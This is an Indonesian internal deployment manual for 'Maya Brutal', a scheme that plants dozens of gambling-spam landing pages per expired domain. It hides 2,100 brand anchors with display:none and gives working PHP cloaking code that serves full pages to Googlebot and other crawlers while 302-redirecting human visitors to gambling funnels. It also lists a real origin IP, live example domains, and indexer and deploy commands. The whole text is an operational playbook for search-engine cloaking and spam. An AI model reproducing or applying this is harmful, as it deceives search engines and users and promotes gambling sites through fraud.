# CARA KITA DEPLOY "MAYA BRUTAL" — Template `MAYABRUTAL.html`

> Dokumen kerja internal · versi **09 November 2026** · basis: DS200-BTL (283 LP) · DS238 (192 LP) · DS240M · **DS246-BTL (100 LP, 2 domain)**.
> Template **tidak boleh diubah** (read-only). Yang berubah tiap deploy cuma isi variabel + paket.

---

## 0. Ringkasan 1 menit

**Maya Brutal** = banyak LP ditanam di satu domain (biasanya domain expired sendiri), **1 brand per LP** (rotasi pool), dengan **hidden anchor nama-brand** (bukan keyword), lalu trafik manusia diarahkan ke funnel lewat subdomain `m.`.

| Yang datang | Yang dilayani |
|---|---|
| Bot (Googlebot, InspectionTool, AdsBot, Bingbot, Yandex, Twitter, Facebook) | **LP penuh — HTTP 200** |
| Manusia (HP **dan** desktop) | **302 → `https://m.<domain><path>`** → funnel |
| Root `/` | **homepage asli** — atau **LP** kalau root dijadikan slot (dua-duanya dipakai) |
| Path yang tidak terdaftar | **404** (tidak ada file, tidak ada catch-all) |

**Sidik template:** `Template/MAYABRUTAL.html` · **469.960 byte** · md5 `cef54659bc9517f950939c680e80b9a1`.
md5 berubah = template tersentuh → **STOP, jangan deploy**.

### Beda dengan Maya Def (ringkas)

| Elemen | Maya Def | **Maya Brutal** |
|---|---|---|
| Template | `IMBA.html` (484.693 B) | `MAYABRUTAL.html` (469.960 B) |
| Brand | trio IMBASLOT / IMBAJP / IMBAGACOR | **pool 20 brand**, 1 brand per LP (mulai DEWI11 per domain) |
| Hidden anchor | 2.000 keyword + 150 branded | **2.100 nama-brand** (tanpa keyword polos) |
| Copywriting | `BRAND | KW Umum dan Topik dengan janji` (50-80) | **`BRAND | <hard sell> - <Topik Slug>` (80-100)** |
| Artikel | thin 1 paragraf | thin **2 paragraf** |
| Schema | 4,9 / 1234 | **4,7 / 777** |
| Cloak | engine PHP `maya.js` (`_m/` payload) | **cloak statis per-slot** (`index.php` + `_lp.html` + `.htaccess` rewrite-map) |
| Funnel | `cutt.ink/<brand imba>` | **WAJIB non-imba** (`m.<domain>` → `dana88-win.xyz` / OVOTOTO / dst) |

---

## 1. Isi paket ini

| File | Isi |
|---|---|
| `CARA-DEPLOY-MAYA-BRUTAL-20261109.md` | dokumen ini |
| `preview-maya-brutal.html` | LP contoh (root), brand **DEWI11** — versi rapi untuk dilihat |
| `preview-maya-brutal-slot2.html` | brand **GOPAY303** · `/panduan-mesin-cuci/` |
| `preview-maya-brutal-slot3.html` | brand **BADAK178** · `/jadwal-servis/` |
| `preview-maya-brutal-mentah.html` | **HTML apa adanya** — persis yang dikirim ke bot (516 `{{...}}`, 10 CSS samsung, 36 `data-src`) |
| `slots-demo.json` | metadata 3 slot (brand, judul, desc, canonical, 2.100 anchor) |
| `_gen.js` · `_preview.js` · `_qa.js` | skrip reproduksi (build, preview, gate) |

---

## 2. Prasyarat

1. **Domain** (umumnya expired milik sendiri) + akses NS.
2. **Origin VPS BUYVM `209.141.38.79` (`.79`)** — IP anti-DDoS grup BRUTAL.
   - Untuk domain baru: NS → **Cloudflare cf1** (`grace/lakas.ns.cloudflare.com`), A `@`/`www`/`m` → `.79` **proxied**, `ssl=flexible`, `always_use_https=on`.
3. **Homepage asli** (Wayback) — `index.html` di root docroot (kalau root **tidak** dijadikan slot).
4. **Vhost `m.<domain>`** → 302 ke funnel (mis. `https://dana88-win.xyz/register?ref=isbl4c3`).
5. **GSC 5 file** di root docroot.
6. **Funnel = WAJIB TANYA PER SESI** (rule #34). Brutal **tidak pernah** pakai funnel brand IMBA.

---

## 3. Copywriting (paten Brutal, ACC 06-11-2026)

**Judul** — 1 brand per LP, brand ALL CAPS di depan:
```
BRAND | <body hard sell> - <Topik Slug>
DEWI11 | Slot Gacor Hari Ini dengan RTP Live Terakurat dan Akses Stabil - Contoh Brutal    (87)
GOPAY303 | Toto Macau dan Data Keluaran Lengkap dengan Catatan Tertata - Panduan Mesin Cuci  (91)
BADAK178 | Slot Dana dan Slot Thailand dengan Putaran Ringan Terpercaya - Jadwal Servis     (87)
```
- **80–100 char** (boleh 55–100 kalau terpaksa, tapi target 80–100) · tanpa koma · Title Case.
- `body` = 2–3 KW umum + freshness opsional + **klaim superlatif konkret** (Terakurat / Tercepat / Terlengkap / Terbesar / Terpercaya / Tanpa Hambatan / Akses Stabil).
- Kata sambung **"dengan"/"tanpa" DIPERBOLEHKAN** di body (khusus Brutal).
- `Topik Slug` = 2–4 kata Title Case dari slug asli, dipisah ` - ` di belakang.
- Karena topik slug unik per URL → **gate cukup lokal** (`scripts/title-dup-check.js`), **tanpa** Bing/Google.

**Deskripsi** — 150–170 char, brand di awal, tanpa koma & titik-koma:
```
DEWI11 merangkum slot gacor hari ini dengan rtp live yang terakurat dan akses stabil.
Ulasan singkatnya membantu pembaca memahami alur dasarnya tanpa bertele-tele.
```

**Artikel** — thin **2 paragraf** (bukan rich), rating **4,7 / 777**, review 6 kartu.

---

## 4. Template: 19 variabel

| Variabel | Titik | Isi |
|---|---:|---|
| `BRAND` | 91 | brand LP (DEWI11 / GOPAY303 / …) |
| `URL` | 80 | canonical LP itu sendiri |
| `GAMBAR-POPUP` | 53 | banner (`blackpokerpro.com/permisi-koko.webp`) |
| `WARNA-HEX3` | 22 | `#c81e2b` |
| `META TITLE` | 17 | judul 80–100 |
| `WARNA-RGB1` | 11 | `225,29,46` |
| `META DESKRIPSI` | 8 | desc 150–170 |
| `WARNA-HEX2` | 8 | `#7f0d18` |
| `WARNA-HEX1` | 7 | `#e11d2e` |
| `WARNA-RGB2` | 4 | `127,13,24` |
| `CARD-CLASS` · `LP-CLASS` | 3 · 2 | class anti-footprint |
| `ICON-GAMBAR` · `LOGO-GAMBAR` | 3 · 3 | `izin-yahhhh.png` · `eh-halo-koko.webp` |
| `FUNNEL` | 2 | link funnel di dalam konten |
| `LIST-KW` | 1 | hidden anchor **2.100** |
| `INFO-SITUS` · `PARAGRAF-1` · `REVIEW` | 1 · 1 · 1 | kartu info · artikel 2 paragraf · 6 review |

Tidak ada `CTA-CLASS`/`POPUP-CLASS` (beda dari `IMBA.html`). Mesh ada di `<div class="cari-list" data-lp-listkw="1">` di dalam blok `.cari-in` — blok itu **wajib dibuat `display:none`** saat build (kalau tidak, 2.100 anchor kelihatan).

---

## 5. Hidden anchor 2.100/LP (standar v2)

| Komponen | Jumlah |
|---|---:|
| 20 brand pool (prioritas, mulai DEWI11) | 20 |
| `slot citibet88` + `slot naga15` | 2 |
| `OVOTOTO` (3x teks sama, by design) | 3 |
| 100 anchor brand campur (5 putaran pool 20, diacak) | 100 |
| sampel bank nama-brand `DEPLOY SESSION 154/brand-mesh-bank-v5-clean.txt` | 1.975 |
| **TOTAL** | **2.100** |

- Bank sudah dibersihkan: buang `imbaslot|imbajp|imbagacor|imbazeus|rajabuaya|imbacor|miyajp|suhu69|olx|toto|togel|4d` + **exclude prefix** dari `brands-mesh-exclude.txt` (44 entri aktif).
- Generator standar + selftest: `DEPLOY SESSION 159/ds159-mesh.js` (uji: n=2.100 · uniq=1.998 · OVOTOTO=3 · tiap brand 6x · sweep larangan bersih).
- Varian lain yang pernah dipakai: "brand-only pola" 850–1.600/LP (Maya Brutal CRAWL) dan bank manual 1.860 (DS246-BTL). **Default = 2.100.**

---

## 6. Alur 8 langkah

### L1 — Domain, NS, origin, homepage
```
NS -> Cloudflare cf1  (ns-batch --set)
A @ / www / m -> 209.141.38.79 (proxied, ssl=flexible, always_use_https)
homepage Wayback -> /var/www/<domain>/index.html   (kalau root bukan slot)
GSC 5 file -> root docroot
```
Kalau root **dijadikan slot LP** (pola DS246-BTL): homepage lama disimpan `indexx.html`, root dilayani LP.

### L2 — Recon slug + mapping
`node scripts/slug-hunt.js --domain <domain> --via BUYVM` → buang aset teknis saja. **Max 30 slot/domain** (default), brand rotasi **mulai DEWI11** lalu urut pool, reset tiap domain.

### L3 — Copywriting
Generate judul/desc per slot (paten di §3). Gate lokal: panjang, koma, brand di depan, topik slug ada di belakang ` - `. Target `DUP 0 · NEAR 0` vs `title-history.md`.

### L4 — Hidden anchor
Bangun 2.100 anchor per LP dari bank v5-clean + komposisi §5. Selftest wajib PASS sebelum dipakai.

### L5 — Build HTML + PACK
Build per slot (template mentah + 19 var + mesh + `.cari-in` hidden) → `/build/<host>/<key>/index.html`.

Lalu **pack** jadi paket deploy per domain:
```
deploy/<host>/
  _btl<sesi>/                      <- folder marker (jangan diubah namanya)
    .htaccess                      <- Options -Indexes + deny _lp.html
    <key>/index.php                <- cloak (bot -> _lp.html ; manusia -> 302 m.<host><path>)
    <key>/_lp.html                 <- LP hasil build
  htaccess-brutal.txt              <- rewrite-map: tiap path slot -> /_btl<sesi>/<key>/index.php
```
Isi cloak (persis pola DS246-BTL):
```php
<?php
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Content-Type: text/html; charset=UTF-8');
$tr = $_SERVER['THE_REQUEST'] ?? '';
if (strpos($tr, ' /_btl246/') !== false) { http_response_code(404); exit; }
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$bot = preg_match('/(googlebot|google-inspectiontool|adsbot|mediapartners|storebot|googleother|bingbot|yandex|twitter|facebook)/i', $ua);
if ($bot) { readfile(__DIR__ . '/_lp.html'); exit; }
$path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
if ($path === '' || $path === false) { $path = '/'; }
header('Location: https://m.<host>' . $path, true, 302);
exit;
```
Pack: `tar -czf ds<sesi>-<host>.tgz -C deploy/<host> _btl<sesi> htaccess-brutal.txt`.

### L6 — Stage + deploy
- Stage ke `/root/prep-<sesi>/<host>/` (`stage-cf.js` untuk file >=1 MB) + `md5sum -c`.
- Deploy 1 domain (script `deploy-domain.sh`):
  1. backup `.htaccess` → `.bak-<sesi>-<ts>`
  2. tulis `.htaccess` kanonik host (www → non-www 301, atau sebaliknya)
  3. `tar -xzf` paket ke docroot
  4. `cat htaccess-brutal.txt >> .htaccess`
  5. `chown -R www-data`, `apache2ctl configtest`, `systemctl reload apache2`
- Vhost `m.<domain>`: 302 ke funnel (tanpa halaman loading, kalau user minta langsung).

### L7 — Verify (3 UA per slot)
```
bot      : 200 + judul persis (bukan homepage)
mobile   : 302 -> https://m.<host><path>
desktop  : 302 -> https://m.<host><path>       (desktop TIDAK decoy di Brutal)
root     : 200 (homepage) ATAU 200 LP (kalau root = slot)
unknown  : 404
GSC      : 200
m.<path> : 302 -> funnel
```
Cek juga: hidden 2.100 utuh, `_lp.html` **tidak** bisa diakses publik (deny), `/_btl<sesi>/` → 404.

### L8 — Indexer + catatan
Per domain (jangan tunggu batch):
```
node scripts/indexpro.js instant --file urls-<domain>.txt --name "Ryhas <domain> LP"
```
Lalu jurnal PUBLISH-LP, `title-history.md`, status sesi.

---

## 7. Angka nyata

| Item | Angka |
|---|---|
| Build 1 LP | ±1–2 dtk (file 580–620 KB) |
| Pack 1 domain | 3–4 MB tgz untuk ±50 slot |
| Deploy 1 domain (extract + reload) | ±10–20 dtk |
| DS246-BTL | 2 domain · **100 LP** · hidden 1.860/LP (186.000 anchor) |
| DS238 | 4 domain · **192 LP** · hidden 1.600/LP (307.200 anchor) |
| DS200-BTL | 10 domain · **430 LP** (batch 1+2) |
| Verify | bot/mobile/desktop per slot; DS246: 50/50 x2 domain PASS |

---

## 8. Larangan

1. **Jangan edit `MAYABRUTAL.html`** — cek md5 tiap mulai.
2. **Jangan** jalankan `lp-clean` / `lp-selfhost` / `lp-cdn-variant` untuk deploy (rule #46) — template mentah.
3. **Jangan** pakai engine `maya.js`/`_m/` untuk Brutal — Brutal pakai cloak statis per-slot.
4. **Jangan** pakai funnel brand IMBA (cutt.ink/imbaslot dll). Funnel Brutal selalu non-imba dan **ditanya per sesi**.
5. **Jangan** lupa `display:none` pada `.cari-in` — 2.100 anchor bakal kelihatan.
6. **Jangan** biarkan `_lp.html` bisa diakses langsung (harus `Require all denied`).
7. **Jangan** lupa append `htaccess-brutal.txt` setelah extract — tanpa itu semua slot 404.
8. **Jangan** taruh nama brand terlarang (IMBASLOT/IMBAJP/IMBAGACOR/OLXTOTO/ALEXISTOGEL/MAWARTOTO/KOITOTO) di bagian **visible** (title/desc/artikel/review).
9. **Jangan** pakai slug berbau "casino" — indexer menolak path itu.
10. **Jangan** deploy tanpa backup `.htaccess` (file lama bisa berisi aturan penting).

---

## 9. Gotcha lapangan

| # | Gejala | Sebab | Fix |
|---|---|---|---|
| 1 | Root jadi LP padahal mau homepage | root dijadikan slot | keluarkan `/` dari mapping, `DirectoryIndex index.html`, atau taruh homepage di `index.html` |
| 2 | Semua slot 404 setelah deploy | `htaccess-brutal.txt` belum di-append | `cat htaccess-brutal.txt >> .htaccess` + reload |
| 3 | LP kebaca publik di `/_btl.../` | cloak tidak memblok marker | pastikan `THE_REQUEST` check + `.htaccess` `Options -Indexes` |
| 4 | Manusia dapat 200 LP (bukan 302) | UA tidak terdeteksi / bot regex salah | cek regex, uji 3 UA; pastikan `header('Location: ...', true, 302)` |
| 5 | Mobile 302 ke domain salah | vhost `m.` belum ada / DNS belum propagasi | buat vhost + A `m` → `.79`, cek via DoH |
| 6 | HTTPS loop / 301 aneh | redirect `:80` di origin + Cloudflare flexible | hapus redirect http→https di origin (SSL di edge) |
| 7 | Judul kepanjangan / kena koma | body hard sell terlalu panjang | potong klaim, target 80–100, tanpa koma |
| 8 | Anchor < 2.100 | bank kurang / skrip gagal | jalankan selftest `ds159-mesh.js` dulu |
| 9 | Indexer menolak sebagian URL | path mengandung kata terlarang | ganti slug netral + redeploy 1 slot + resubmit |
| 10 | hp/desktop 302 ke `google.com` | sisa setting Maya Def (`decoy`) | Brutal: semua manusia ke `m.<host><path>` |
| 11 | Template "jelek"/CSS lepas | hotlink CSS samsung 403 kalau ada Referer | normal untuk bot (manusia di-302); jangan patch CSS |
| 12 | Deploy 1 domain mengganggu domain lain | `.htaccess` ditimpa (bukan append) | selalu backup + tulis ulang kanonik + append blok |

---

## 10. Checklist

**Sebelum build**
- [ ] md5 `MAYABRUTAL.html` = `cef54659bc9517f950939c680e80b9a1`
- [ ] mapping <= 30 slot/domain, brand mulai DEWI11
- [ ] judul 80–100 tanpa koma · desc 150–170 tanpa koma/; · gate lokal DUP 0
- [ ] hidden 2.100 selftest PASS
- [ ] funnel sesi ini sudah dikonfirmasi user (non-imba)
- [ ] banner/icon/logo = aset blackpokerpro (200)

**Setelah deploy**
- [ ] bot 200 + judul persis · mobile 302 `m.` · desktop 302 `m.`
- [ ] root 200 (homepage atau LP sesuai rencana)
- [ ] unknown 404 · `/_btl.../` 404 · `_lp.html` 403/404
- [ ] GSC 200 · m.→funnel 302
- [ ] IndexPro per domain `Ryhas <domain> LP`
- [ ] jurnal + title-history

---

## 11. Contoh live (pembanding)

- `https://donanmacekidemiri.com/` (DS246-BTL) — 49 LP DANA88, root = LP
- `https://nikahislemleri.net/` (DS246-BTL) — 49 LP DANA88
- `https://triagrogt.com/` (DS236) — 10 LP (slug sintetis, domain tanpa arsip)
- `https://maavaro.com/` (DS236) — 20 LP

Buka pakai browser biasa → harus **302 ke `m.<domain>`**; pakai UA Googlebot (`scripts/Chrome UA Bot.bat`) → **LP penuh 200**.

---

*Living document — kalau aturan berubah (template, bank anchor, funnel, cloak), update di sini dulu sebelum sesi deploy berikutnya.*
